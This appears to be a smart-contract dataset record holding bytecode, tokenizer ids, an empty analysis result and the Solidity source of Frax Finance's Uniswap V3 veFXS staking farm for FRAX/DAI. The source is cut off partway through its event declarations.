65b92915050565b600081519050919050565b600082825260208201905092915050565b600081905092915050565b600061202c82612179565b915061203783612179565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561206c5761206b61221f565b5b828201905092915050565b600061208282612179565b915061208d83612179565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156120c6576120c561221f565b5b828202905092915050565b60006120dc82612179565b91506120e783612179565b9250828210156120fa576120f961221f565b5b828203905092915050565b600061211082612159565b9050919050565b60008115159050919050565b6000819050919050565b60007fffffffff0000000000000000000000000000000000000000000000000000000082169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60005b838110156121ae578082015181840152602081019050612193565b838111156121bd576000848401525b50505050565b60006121ce82612179565b915060008214156121e2576121e161221f565b5b600182039050919050565b6000600282049050600182168061220557607f821691505b602082108114156122195761221861224e565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b6000601f19601f8301169050919050565b7f537472696e67733a20686578206c656e67746820696e73756666696369656e74600082015250565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008201527f6365000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206260008201527f616c616e63650000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e7366657220616d6f756e742065786365656473206160008201527f6c6c6f77616e6365000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e20616d6f756e74206578636565647320616c6c6f7760008201527f616e636500000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008201527f7300000000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f416363657373436f6e74726f6c3a206163636f756e7420000000000000000000600082015250565b7f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008201527f207a65726f000000000000000000000000000000000000000000000000000000602082015250565b7f206973206d697373696e6720726f6c6520000000000000000000000000000000600082015250565b7f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560008201527f20726f6c657320666f722073656c660000000000000000000000000000000000602082015250565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b61270381612105565b811461270e57600080fd5b50565b61271a81612123565b811461272557600080fd5b50565b6127318161212d565b811461273c57600080fd5b50565b61274881612179565b811461275357600080fd5b5056fea2646970667358221220b21714332c6c9ae3172e157f670532d96a23a6ea5fefb8cb55199ada34a5ceb564736f6c63430008070033
{"success": true, "error": null, "results": {}}
true
null
{}
[ 101, 1014, 2595, 2683, 2581, 2620, 16576, 22407, 24087, 2683, 2581, 2487, 20952, 2278, 2683, 2050, 17465, 26224, 4246, 21472, 2692, 26337, 2497, 23499, 2094, 27814, 2575, 2063, 2620, 2063, 22203, 1013, 1013, 23772, 2595, 1011, 6105, 1011, 8909, 4765, 18095, 1024, 10210, 1013, 1013, 2330, 4371, 27877, 2378, 8311, 1058, 2549, 1012, 1018, 1012, 1015, 1006, 3229, 1013, 3229, 8663, 13181, 2140, 1012, 14017, 1007, 10975, 8490, 2863, 5024, 3012, 1034, 1014, 1012, 1022, 1012, 1014, 1025, 12324, 1000, 1012, 1013, 24264, 9468, 7971, 8663, 13181, 2140, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1012, 1013, 21183, 12146, 1013, 6123, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1012, 1013, 21183, 12146, 1013, 7817, 1012, 14017, 1000, 1025, 12324, 1000, 1012, 1012, 1013, 21183, 12146, 1013, 17174, 102 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1 ]
59,859
0x9781FE446CD97d3cDAD5eCeBc77D1deDb843246c
// SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.11; pragma experimental ABIEncoderV2; import "../FraxFarm_UniV3_veFXS.sol"; contract FraxFarm_UniV3_veFXS_FRAX_DAI is FraxFarm_UniV3_veFXS { constructor( address _owner, address _rewardsToken0, address _stakingTokenNFT, address _lp_pool_address, address _timelock_address, address _veFXS_address, address _gauge_controller_address, address _uni_token0, address _uni_token1 ) FraxFarm_UniV3_veFXS(_owner, _rewardsToken0, _stakingTokenNFT, _lp_pool_address, _timelock_address, _veFXS_address, _gauge_controller_address, _uni_token0, _uni_token1) {} } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.6.11; pragma experimental ABIEncoderV2; // ==================================================================== // | ______ _______ | // | / _____________ __ __ / ____(_____ ____ _____ ________ | // | / /_ / ___/ __ `| |/_/ / /_ / / __ \/ __ `/ __ \/ ___/ _ \ | // | / __/ / / / /_/ _> < / __/ / / / / / /_/ / / / / /__/ __/ | // | /_/ /_/ \__,_/_/|_| /_/ /_/_/ /_/\__,_/_/ /_/\___/\___/ | // | | // ==================================================================== // ========================FraxFarm_UniV3_veFXS======================== // ==================================================================== // Migratable Farming contract that accounts for veFXS and UniswapV3 NFTs // Only one possible reward token here (usually FXS), to cut gas costs // Also, because of the nonfungible nature, and to reduce gas, unlocked staking was removed // You can lock for as short as 1 day now, which is de-facto an unlocked stake // Frax Finance: https://github.com/FraxFinance // Primary Author(s) // Travis Moore: https://github.com/FortisFortuna // Reviewer(s) / Contributor(s) // Jason Huan: https://github.com/jasonhuan // Sam Kazemian: https://github.com/samkazemian // Originally inspired by Synthetixio, but heavily modified by the Frax team // (Locked, veFXS, and UniV3 portions are new) // https://raw.githubusercontent.com/Synthetixio/synthetix/develop/contracts/StakingRewards.sol import "../Math/Math.sol"; import "../Math/SafeMath.sol"; import "../Curve/IveFXS.sol"; import "../Curve/IFraxGaugeController.sol"; import "../ERC20/ERC20.sol"; import '../Uniswap/TransferHelper.sol'; import "../ERC20/SafeERC20.sol"; import "../Uniswap_V3/libraries/TickMath.sol"; import "../Uniswap_V3/libraries/LiquidityAmounts.sol"; import "../Uniswap_V3/IUniswapV3PositionsNFT.sol"; import "../Uniswap_V3/IUniswapV3Pool.sol"; import "../Utils/ReentrancyGuard.sol"; import "./Owned.sol"; contract FraxFarm_UniV3_veFXS is Owned, ReentrancyGuard { using SafeMath for uint256; using SafeERC20 for ERC20; /* ========== STATE VARIABLES ========== */ // Instances IveFXS private veFXS; ERC20 private rewardsToken0; IFraxGaugeController private gauge_controller; IUniswapV3PositionsNFT private stakingTokenNFT; // UniV3 uses an NFT IUniswapV3Pool private lp_pool; // Admin addresses address public timelock_address; // Constant for various precisions uint256 private constant MULTIPLIER_PRECISION = 1e18; int256 private constant EMISSION_FACTOR_PRECISION = 1e18; // Reward and period related uint256 private periodFinish; uint256 private lastUpdateTime; uint256 public reward_rate_manual; uint256 public rewardsDuration = 604800; // 7 * 86400 (7 days) // Lock time and multiplier settings uint256 public lock_max_multiplier = uint256(3e18); // E18. 1x = 1e18 uint256 public lock_time_for_max_multiplier = 3 * 365 * 86400; // 3 years uint256 public lock_time_min = 86400; // 1 * 86400 (1 day) // veFXS related uint256 public vefxs_per_frax_for_max_boost = uint256(4e18); // E18. 4e18 means 4 veFXS must be held by the staker per 1 FRAX uint256 public vefxs_max_multiplier = uint256(2e18); // E18. 1x = 1e18 mapping(address => uint256) private _vefxsMultiplierStored; // Uniswap V3 related int24 public uni_tick_lower; int24 public uni_tick_upper; int24 public ideal_tick; uint24 public uni_required_fee = 500; address public uni_token0; address public uni_token1; uint32 public twap_duration = 300; // 5 minutes // Rewards tracking uint256 private rewardPerTokenStored0; mapping(address => uint256) private userRewardPerTokenPaid0; mapping(address => uint256) private rewards0; uint256 private last_gauge_relative_weight; uint256 private last_gauge_time_total; // Balance, stake, and weight tracking uint256 private _total_liquidity_locked; uint256 private _total_combined_weight; mapping(address => uint256) private _locked_liquidity; mapping(address => uint256) private _combined_weights; mapping(address => LockedNFT[]) private lockedNFTs; // List of valid migrators (set by governance) mapping(address => bool) private valid_migrators; address[] private valid_migrators_array; // Stakers set which migrator(s) they want to use mapping(address => mapping(address => bool)) private staker_allowed_migrators; // Greylists mapping(address => bool) private greylist; // Admin booleans for emergencies, migrations, and overrides bool public bypassEmissionFactor; bool public migrationsOn; // Used for migrations. Prevents new stakes, but allows LP and reward withdrawals bool public stakesUnlocked; // Release locked stakes in case of system migration or emergency bool public stakingPaused; bool public withdrawalsPaused; bool public rewardsCollectionPaused; // Struct for the stake struct LockedNFT { uint256 token_id; // for Uniswap V3 LPs uint256 liquidity; uint256 start_timestamp; uint256 ending_timestamp; uint256 lock_multiplier; // 6 decimals of precision. 1x = 1000000 int24 tick_lower; int24 tick_upper; } /* ========== MODIFIERS ========== */ modifier onlyByOwnerOrGovernance() { require(msg.sender == owner || msg.sender == timelock_address, "Not owner or timelock"); _; } modifier isMigrating() { require(migrationsOn == true, "Not in migration"); _; } modifier updateRewardAndBalance(address account, bool sync_too) { _updateRewardAndBalance(account, sync_too); _; } /* ========== CONSTRUCTOR ========== */ constructor( address _owner, address _rewardsToken0, address _stakingTokenNFT, address _lp_pool_address, address _timelock_address, address _veFXS_address, address _gauge_controller_address, address _uni_token0, address _uni_token1 ) Owned(_owner) { rewardsToken0 = ERC20(_rewardsToken0); stakingTokenNFT = IUniswapV3PositionsNFT(_stakingTokenNFT); lp_pool = IUniswapV3Pool(_lp_pool_address); // call getPool(token0, token1, fee) on the Uniswap V3 Factory (0x1F98431c8aD98523631AE4a59f267346ea31F984) to get this otherwise gauge_controller = IFraxGaugeController(_gauge_controller_address); veFXS = IveFXS(_veFXS_address); lastUpdateTime = block.timestamp; timelock_address = _timelock_address; // Set the UniV3 addresses uni_token0 = _uni_token0; uni_token1 = _uni_token1; // Tick and Liquidity related uni_tick_lower = -276380; uni_tick_upper = -276270; // Closest tick to 1 is -276325, giving $0.99990265 to $1.0000026 ideal_tick = -276325; } /* ========== VIEWS ========== */ // User locked liquidity tokens function totalLiquidityLocked() external view returns (uint256) { return _total_liquidity_locked; } // Total locked liquidity tokens function lockedLiquidityOf(address account) external view returns (uint256) { return _locked_liquidity[account]; } // Total 'balance' used for calculating the percent of the pool the account owns // Takes into account the locked stake time multiplier and veFXS multiplier function combinedWeightOf(address account) external view returns (uint256) { return _combined_weights[account]; } // Total combined weight function totalCombinedWeight() external view returns (uint256) { return _total_combined_weight; } function lockMultiplier(uint256 secs) public view returns (uint256) { uint256 lock_multiplier = uint256(MULTIPLIER_PRECISION).add( secs.mul(lock_max_multiplier.sub(MULTIPLIER_PRECISION)).div( lock_time_for_max_multiplier ) ); if (lock_multiplier > lock_max_multiplier) lock_multiplier = lock_max_multiplier; return lock_multiplier; } function userStakedFrax(address account) public view returns (uint256) { uint256 frax_tally = 0; LockedNFT memory thisNFT; for (uint256 i = 0; i < lockedNFTs[account].length; i++) { thisNFT = lockedNFTs[account][i]; uint256 this_liq = thisNFT.liquidity; if (this_liq > 0){ uint160 sqrtRatioAX96 = TickMath.getSqrtRatioAtTick(thisNFT.tick_lower); uint160 sqrtRatioBX96 = TickMath.getSqrtRatioAtTick(thisNFT.tick_upper); frax_tally = frax_tally.add(LiquidityAmounts.getAmount0ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, uint128(thisNFT.liquidity))); } } // In order to avoid excessive gas calculations and the input tokens ratios. 50% FRAX is assumed // If this were Uni V2, it would be akin to reserve0 & reserve1 math return frax_tally.div(2); } // Will return MULTIPLIER_PRECISION if the pool is balanced, a smaller fraction if between the ticks, // and zero outside of the ticks function emissionFactor() public view returns (uint256 emission_factor){ // If the bypass is turned on, return 1x if (bypassEmissionFactor) return MULTIPLIER_PRECISION; uint32[] memory secondsAgo = new uint32[](2); secondsAgo[0] = uint32(twap_duration); secondsAgo[1] = 0; // Make sure observationCardinalityNext has enough points on the lp_pool first // Otherwise, any observation greater then 0 will return 0 values (int56[] memory tickCumulatives, ) = lp_pool.observe(secondsAgo); int24 avg_tick = int24((tickCumulatives[1] - tickCumulatives[0]) / int32(twap_duration)); // Return 0 if out of bounds (de-pegged) if (avg_tick <= uni_tick_lower) return 0; if (avg_tick >= uni_tick_upper) return 0; // Price = (1e18 / 1e6) * 1.0001^(tick) // Tick = Math.Floor(Log[base 1.0001] of (price / (10 ** decimal difference))) // Unsafe math, but there is a safety check later int256 em_factor_int256; if (avg_tick <= ideal_tick){ em_factor_int256 = (EMISSION_FACTOR_PRECISION * (avg_tick - uni_tick_lower)) / (ideal_tick - uni_tick_lower); } else { em_factor_int256 = (EMISSION_FACTOR_PRECISION * (uni_tick_upper - avg_tick)) / (uni_tick_upper - ideal_tick); } // Check for negatives if (em_factor_int256 < 0) emission_factor = uint256(-1 * em_factor_int256); else emission_factor = uint256(em_factor_int256); // Sanity checks require(emission_factor <= MULTIPLIER_PRECISION, "Emission factor too high"); require(emission_factor >= 0, "Emission factor too low"); } function minVeFXSForMaxBoost(address account) public view returns (uint256) { return (userStakedFrax(account)).mul(vefxs_per_frax_for_max_boost).div(MULTIPLIER_PRECISION); } function veFXSMultiplier(address account) public view returns (uint256) { // The claimer gets a boost depending on amount of veFXS they have relative to the amount of FRAX 'inside' // of their locked LP tokens uint256 veFXS_needed_for_max_boost = minVeFXSForMaxBoost(account); if (veFXS_needed_for_max_boost > 0){ uint256 user_vefxs_fraction = (veFXS.balanceOf(account)).mul(MULTIPLIER_PRECISION).div(veFXS_needed_for_max_boost); uint256 vefxs_multiplier = ((user_vefxs_fraction).mul(vefxs_max_multiplier)).div(MULTIPLIER_PRECISION); // Cap the boost to the vefxs_max_multiplier if (vefxs_multiplier > vefxs_max_multiplier) vefxs_multiplier = vefxs_max_multiplier; return vefxs_multiplier; } else return 0; // This will happen with the first stake, when user_staked_frax is 0 } function checkUniV3NFT(uint256 token_id, bool fail_if_false) internal view returns (bool is_valid, uint256 liquidity, int24 tick_lower, int24 tick_upper) { ( , , address token0, address token1, uint24 fee, int24 tickLower, int24 tickUpper, uint256 _liquidity, , , , ) = stakingTokenNFT.positions(token_id); // Set initially is_valid = false; liquidity = _liquidity; // Do the checks if ( (token0 == uni_token0) && (token1 == uni_token1) && (fee == uni_required_fee) && (tickLower == uni_tick_lower) && (tickUpper == uni_tick_upper) ) { is_valid = true; } else { // More detailed messages removed here to save space if (fail_if_false) { revert("Wrong token characteristics"); } } return (is_valid, liquidity, tickLower, tickUpper); } // Return all of the locked NFT positions function lockedNFTsOf(address account) external view returns (LockedNFT[] memory) { return lockedNFTs[account]; } function calcCurCombinedWeight(address account) public view returns ( uint256 old_combined_weight, uint256 new_vefxs_multiplier, uint256 new_combined_weight ) { // Get the old combined weight old_combined_weight = _combined_weights[account]; // Get the veFXS multipliers // For the calculations, use the midpoint (analogous to midpoint Riemann sum) new_vefxs_multiplier = veFXSMultiplier(account); uint256 midpoint_vefxs_multiplier = ((new_vefxs_multiplier).add(_vefxsMultiplierStored[account])).div(2); // Loop through the locked stakes, first by getting the liquidity * lock_multiplier portion new_combined_weight = 0; for (uint256 i = 0; i < lockedNFTs[account].length; i++) { LockedNFT memory thisNFT = lockedNFTs[account][i]; uint256 lock_multiplier = thisNFT.lock_multiplier; // If the lock period is over, drop the lock multiplier down to 1x for the weight calculations if (thisNFT.ending_timestamp <= block.timestamp){ lock_multiplier = MULTIPLIER_PRECISION; } uint256 liquidity = thisNFT.liquidity; uint256 combined_boosted_amount = liquidity.mul(lock_multiplier.add(midpoint_vefxs_multiplier)).div(MULTIPLIER_PRECISION); new_combined_weight = new_combined_weight.add(combined_boosted_amount); } } function lastTimeRewardApplicable() internal view returns (uint256) { return Math.min(block.timestamp, periodFinish); } function rewardPerToken() internal view returns (uint256) { if (_total_liquidity_locked == 0 || _total_combined_weight == 0) { return rewardPerTokenStored0; } else { return ( rewardPerTokenStored0.add( lastTimeRewardApplicable() .sub(lastUpdateTime) .mul(rewardRate0()) .mul(emissionFactor()) // has 1e18 already .div(_total_combined_weight) ) ); } } function earned(address account) public view returns (uint256) { uint256 earned_reward_0 = rewardPerToken(); return ( _combined_weights[account] .mul(earned_reward_0.sub(userRewardPerTokenPaid0[account])) .div(1e18) .add(rewards0[account]) ); } function rewardRate0() public view returns (uint256 rwd_rate) { if (address(gauge_controller) != address(0)) { rwd_rate = (gauge_controller.global_emission_rate()).mul(last_gauge_relative_weight).div(1e18); } else { rwd_rate = reward_rate_manual; } } function getRewardForDuration() external view returns (uint256) { return rewardRate0().mul(rewardsDuration); } // Needed to indicate that this contract is ERC721 compatible function onERC721Received( address, address, uint256, bytes memory ) public pure returns (bytes4) { return this.onERC721Received.selector; } /* ========== MUTATIVE FUNCTIONS ========== */ function _updateRewardAndBalance(address account, bool sync_too) internal { // Need to retro-adjust some things if the period hasn't been renewed, then start a new one if (sync_too){ sync(); } if (account != address(0)) { // To keep the math correct, the user's combined weight must be recomputed to account for their // ever-changing veFXS balance. ( uint256 old_combined_weight, uint256 new_vefxs_multiplier, uint256 new_combined_weight ) = calcCurCombinedWeight(account); // Calculate the earnings first _syncEarned(account); // Update the user's stored veFXS multipliers _vefxsMultiplierStored[account] = new_vefxs_multiplier; // Update the user's and the global combined weights if (new_combined_weight >= old_combined_weight) { uint256 weight_diff = new_combined_weight.sub(old_combined_weight); _total_combined_weight = _total_combined_weight.add(weight_diff); _combined_weights[account] = old_combined_weight.add(weight_diff); } else { uint256 weight_diff = old_combined_weight.sub(new_combined_weight); _total_combined_weight = _total_combined_weight.sub(weight_diff); _combined_weights[account] = old_combined_weight.sub(weight_diff); } } } function _syncEarned(address account) internal { if (account != address(0)) { // Calculate the earnings uint256 earned0 = earned(account); rewards0[account] = earned0; userRewardPerTokenPaid0[account] = rewardPerTokenStored0; } } // Staker can allow a migrator function stakerAllowMigrator(address migrator_address) external { require(valid_migrators[migrator_address], "Invalid migrator address"); staker_allowed_migrators[msg.sender][migrator_address] = true; } // Staker can disallow a previously-allowed migrator function stakerDisallowMigrator(address migrator_address) external { // Delete from the mapping delete staker_allowed_migrators[msg.sender][migrator_address]; } // Two different stake functions are needed because of delegateCall and msg.sender issues (important for migration) function stakeLocked(uint256 token_id, uint256 secs) nonReentrant external { _stakeLocked(msg.sender, msg.sender, token_id, secs, block.timestamp); } // If this were not internal, and source_address had an infinite approve, this could be exploitable // (pull funds from source_address and stake for an arbitrary staker_address) function _stakeLocked( address staker_address, address source_address, uint256 token_id, uint256 secs, uint256 start_timestamp ) internal updateRewardAndBalance(staker_address, true) { require((stakingPaused == false && migrationsOn == false) || valid_migrators[msg.sender] == true, "Staking paused or in migration"); require(greylist[staker_address] == false, "Address has been greylisted"); require(secs >= lock_time_min, "Minimum stake time not met"); require(secs <= lock_time_for_max_multiplier,"Trying to lock for too long"); (, uint256 liquidity, int24 tick_lower, int24 tick_upper) = checkUniV3NFT(token_id, true); // Should throw if false { uint256 lock_multiplier = lockMultiplier(secs); lockedNFTs[staker_address].push( LockedNFT( token_id, liquidity, start_timestamp, start_timestamp.add(secs), lock_multiplier, tick_lower, tick_upper ) ); } // Pull the tokens from the source_address stakingTokenNFT.safeTransferFrom(source_address, address(this), token_id); // Update liquidities _total_liquidity_locked = _total_liquidity_locked.add(liquidity); _locked_liquidity[staker_address] = _locked_liquidity[staker_address].add(liquidity); // Need to call again to make sure everything is correct _updateRewardAndBalance(staker_address, false); emit LockNFT(staker_address, liquidity, token_id, secs, source_address); } // Two different withdrawLocked functions are needed because of delegateCall and msg.sender issues (important for migration) function withdrawLocked(uint256 token_id) nonReentrant external { require(withdrawalsPaused == false, "Withdrawals paused"); _withdrawLocked(msg.sender, msg.sender, token_id); } // No withdrawer == msg.sender check needed since this is only internally callable and the checks are done in the wrapper // functions like migrator_withdraw_locked() and withdrawLocked() function _withdrawLocked( address staker_address, address destination_address, uint256 token_id ) internal { // Collect rewards first and then update the balances _getReward(staker_address, destination_address); LockedNFT memory thisNFT; thisNFT.liquidity = 0; uint256 theArrayIndex; for (uint256 i = 0; i < lockedNFTs[staker_address].length; i++) { if (token_id == lockedNFTs[staker_address][i].token_id) { thisNFT = lockedNFTs[staker_address][i]; theArrayIndex = i; break; } } require(thisNFT.token_id == token_id, "Token ID not found"); require(block.timestamp >= thisNFT.ending_timestamp || stakesUnlocked == true || valid_migrators[msg.sender] == true, "Stake is still locked!"); uint256 theLiquidity = thisNFT.liquidity; if (theLiquidity > 0) { // Update liquidities _total_liquidity_locked = _total_liquidity_locked.sub(theLiquidity); _locked_liquidity[staker_address] = _locked_liquidity[staker_address].sub(theLiquidity); // Remove the stake from the array delete lockedNFTs[staker_address][theArrayIndex]; // Need to call again to make sure everything is correct _updateRewardAndBalance(staker_address, false); // Give the tokens to the destination_address stakingTokenNFT.safeTransferFrom(address(this), destination_address, token_id); emit WithdrawLocked(staker_address, theLiquidity, token_id, destination_address); } } // Two different getReward functions are needed because of delegateCall and msg.sender issues (important for migration) function getReward() external nonReentrant returns (uint256) { require(rewardsCollectionPaused == false,"Rewards collection paused"); return _getReward(msg.sender, msg.sender); } // No withdrawer == msg.sender check needed since this is only internally callable // This distinction is important for the migrator // Also collects the LP fees function _getReward(address rewardee, address destination_address) internal updateRewardAndBalance(rewardee, true) returns (uint256 reward_0) { reward_0 = rewards0[rewardee]; if (reward_0 > 0) { rewards0[rewardee] = 0; TransferHelper.safeTransfer(address(rewardsToken0), destination_address, reward_0); // Collect liquidity fees too uint256 accumulated_token0 = 0; uint256 accumulated_token1 = 0; LockedNFT memory thisNFT; for (uint256 i = 0; i < lockedNFTs[rewardee].length; i++) { thisNFT = lockedNFTs[rewardee][i]; // Check for null entries if (thisNFT.token_id != 0){ IUniswapV3PositionsNFT.CollectParams memory collect_params = IUniswapV3PositionsNFT.CollectParams( thisNFT.token_id, destination_address, type(uint128).max, type(uint128).max ); (uint256 tok0_amt, uint256 tok1_amt) = stakingTokenNFT.collect(collect_params); accumulated_token0 = accumulated_token0.add(tok0_amt); accumulated_token1 = accumulated_token1.add(tok1_amt); } } emit RewardPaid(rewardee, reward_0, accumulated_token0, accumulated_token1, address(rewardsToken0), destination_address); } } // If the period expired, renew it function retroCatchUp() internal { // Failsafe check require(block.timestamp > periodFinish, "Period has not expired yet!"); // Ensure the provided reward amount is not more than the balance in the contract. // This keeps the reward rate in the right range, preventing overflows due to // very high values of rewardRate in the earned and rewardsPerToken functions; // Reward + leftover must be less than 2^256 / 10^18 to avoid overflow. uint256 num_periods_elapsed = uint256(block.timestamp.sub(periodFinish)) / rewardsDuration; // Floor division to the nearest period uint256 balance0 = rewardsToken0.balanceOf(address(this)); require(rewardRate0().mul(rewardsDuration).mul(num_periods_elapsed + 1) <= balance0, "Not enough FXS available"); periodFinish = periodFinish.add((num_periods_elapsed.add(1)).mul(rewardsDuration)); uint256 reward_per_token_0 = rewardPerToken(); rewardPerTokenStored0 = reward_per_token_0; lastUpdateTime = lastTimeRewardApplicable(); emit RewardsPeriodRenewed(address(stakingTokenNFT)); } function sync_gauge_weight(bool force_update) public { if (force_update || (block.timestamp > last_gauge_time_total)){ // Update the gauge_relative_weight last_gauge_relative_weight = gauge_controller.gauge_relative_weight_write(address(this), block.timestamp); last_gauge_time_total = gauge_controller.time_total(); } } function sync() public { // Sync the gauge weight, if applicable sync_gauge_weight(false); if (block.timestamp > periodFinish) { retroCatchUp(); } else { uint256 reward_per_token_0 = rewardPerToken(); rewardPerTokenStored0 = reward_per_token_0; lastUpdateTime = lastTimeRewardApplicable(); } } /* ========== RESTRICTED FUNCTIONS ========== */ // Migrator can stake for someone else (they won't be able to withdraw it back though, only staker_address can). function migrator_stakeLocked_for(address staker_address, uint256 token_id, uint256 secs, uint256 start_timestamp) external isMigrating { require(staker_allowed_migrators[staker_address][msg.sender] && valid_migrators[msg.sender], "Migrator invalid or unapproved"); _stakeLocked(staker_address, msg.sender, token_id, secs, start_timestamp); } // Used for migrations function migrator_withdraw_locked(address staker_address, uint256 token_id) external isMigrating { require(staker_allowed_migrators[staker_address][msg.sender] && valid_migrators[msg.sender], "Migrator invalid or unapproved"); _withdrawLocked(staker_address, msg.sender, token_id); } // Adds supported migrator address function addMigrator(address migrator_address) external onlyByOwnerOrGovernance { valid_migrators[migrator_address] = true; } // Remove a migrator address function removeMigrator(address migrator_address) external onlyByOwnerOrGovernance { // Delete from the mapping delete valid_migrators[migrator_address]; } // Added to support recovering LP Rewards and other mistaken tokens from other systems to be distributed to holders function recoverERC20(address tokenAddress, uint256 tokenAmount) external onlyByOwnerOrGovernance { // Admin cannot withdraw the staking token from the contract unless currently migrating if (!migrationsOn) { require(tokenAddress != address(stakingTokenNFT), "Not in migration"); // Only Governance / Timelock can trigger a migration } // Only the owner address can ever receive the recovery withdrawal TransferHelper.safeTransfer(tokenAddress, owner, tokenAmount); emit RecoveredERC20(tokenAddress, tokenAmount); } // Added to support recovering LP Rewards and other mistaken tokens from other systems to be distributed to holders function recoverERC721(address tokenAddress, uint256 token_id) external onlyByOwnerOrGovernance { // Admin cannot withdraw the staking token from the contract unless currently migrating if (!migrationsOn) { require(tokenAddress != address(stakingTokenNFT), "Not in migration"); // Only Governance / Timelock can trigger a migration } // Only the owner address can ever receive the recovery withdrawal // IUniswapV3PositionsNFT inherits IERC721 so the latter does not need to be imported IUniswapV3PositionsNFT(tokenAddress).safeTransferFrom( address(this), owner, token_id); emit RecoveredERC721(tokenAddress, token_id); } function setMultipliers(uint256 _lock_max_multiplier, uint256 _vefxs_max_multiplier, uint256 _vefxs_per_frax_for_max_boost) external onlyByOwnerOrGovernance { require(_lock_max_multiplier >= MULTIPLIER_PRECISION, "Mult must be >= MULTIPLIER_PRECISION"); require(_vefxs_max_multiplier >= 0, "veFXS mul must be >= 0"); require(_vefxs_per_frax_for_max_boost > 0, "veFXS pct max must be >= 0"); lock_max_multiplier = _lock_max_multiplier; vefxs_max_multiplier = _vefxs_max_multiplier; vefxs_per_frax_for_max_boost = _vefxs_per_frax_for_max_boost; emit MaxVeFXSMultiplier(vefxs_max_multiplier); emit LockedNFTMaxMultiplierUpdated(lock_max_multiplier); emit veFXSPctForMaxBoostUpdated(vefxs_per_frax_for_max_boost); } function setLockedNFTTimeForMinAndMaxMultiplier(uint256 _lock_time_for_max_multiplier, uint256 _lock_time_min) external onlyByOwnerOrGovernance { require(_lock_time_for_max_multiplier >= 1, "Mul max time must be >= 1"); require(_lock_time_min >= 1, "Mul min time must be >= 1"); lock_time_for_max_multiplier = _lock_time_for_max_multiplier; lock_time_min = _lock_time_min; emit LockedNFTTimeForMaxMultiplier(lock_time_for_max_multiplier); emit LockedNFTMinTime(_lock_time_min); } function initializeDefault() external onlyByOwnerOrGovernance { lastUpdateTime = block.timestamp; periodFinish = block.timestamp.add(rewardsDuration); sync_gauge_weight(true); emit DefaultInitialization(); } function greylistAddress(address _address) external onlyByOwnerOrGovernance { greylist[_address] = !(greylist[_address]); } function unlockStakes() external onlyByOwnerOrGovernance { stakesUnlocked = !stakesUnlocked; } function toggleMigrations() external onlyByOwnerOrGovernance { migrationsOn = !migrationsOn; } function setPauses( bool _stakingPaused, bool _withdrawalsPaused, bool _rewardsCollectionPaused ) external onlyByOwnerOrGovernance { stakingPaused = _stakingPaused; withdrawalsPaused = _withdrawalsPaused; rewardsCollectionPaused = _rewardsCollectionPaused; } function setManualRewardRate(uint256 _reward_rate_manual, bool sync_too) external onlyByOwnerOrGovernance { reward_rate_manual = _reward_rate_manual; if (sync_too) { sync(); } } function setTWAPAndEmissionFactorBypass(uint32 _new_twap_duration, bool _bypassEmissionFactor) external onlyByOwnerOrGovernance { require(_new_twap_duration <= 3600, "TWAP too long"); // One hour for now. Depends on how many increaseObservationCardinalityNext / observation slots you have twap_duration = _new_twap_duration; bypassEmissionFactor = _bypassEmissionFactor; } function setTimelock(address _new_timelock) external onlyByOwnerOrGovernance { timelock_address = _new_timelock; } // Set to address(0) to fall back to the reward_rate_manual function setGaugeController(address _gauge_controller_address) external onlyByOwnerOrGovernance { gauge_controller = IFraxGaugeController(_gauge_controller_address); } /* ========== EVENTS ========== */ event LockNFT(address indexed user, uint256 liquidity, uint256 token_id, uint256 secs, address source_address); event WithdrawLocked(address indexed user, uint256 liquidity, uint256 token_id, address destination_address); event RewardPaid(address indexed user, uint256 farm_reward, uint256 liq_tok0_reward, uint256 liq_tok1_reward, address token_address, address destination_address); event RecoveredERC20(address token, uint256 amount); event RecoveredERC721(address token, uint256 token_id); event RewardsPeriodRenewed(address token); event DefaultInitialization(); event LockedNFTMaxMultiplierUpdated(uint256 multiplier); event 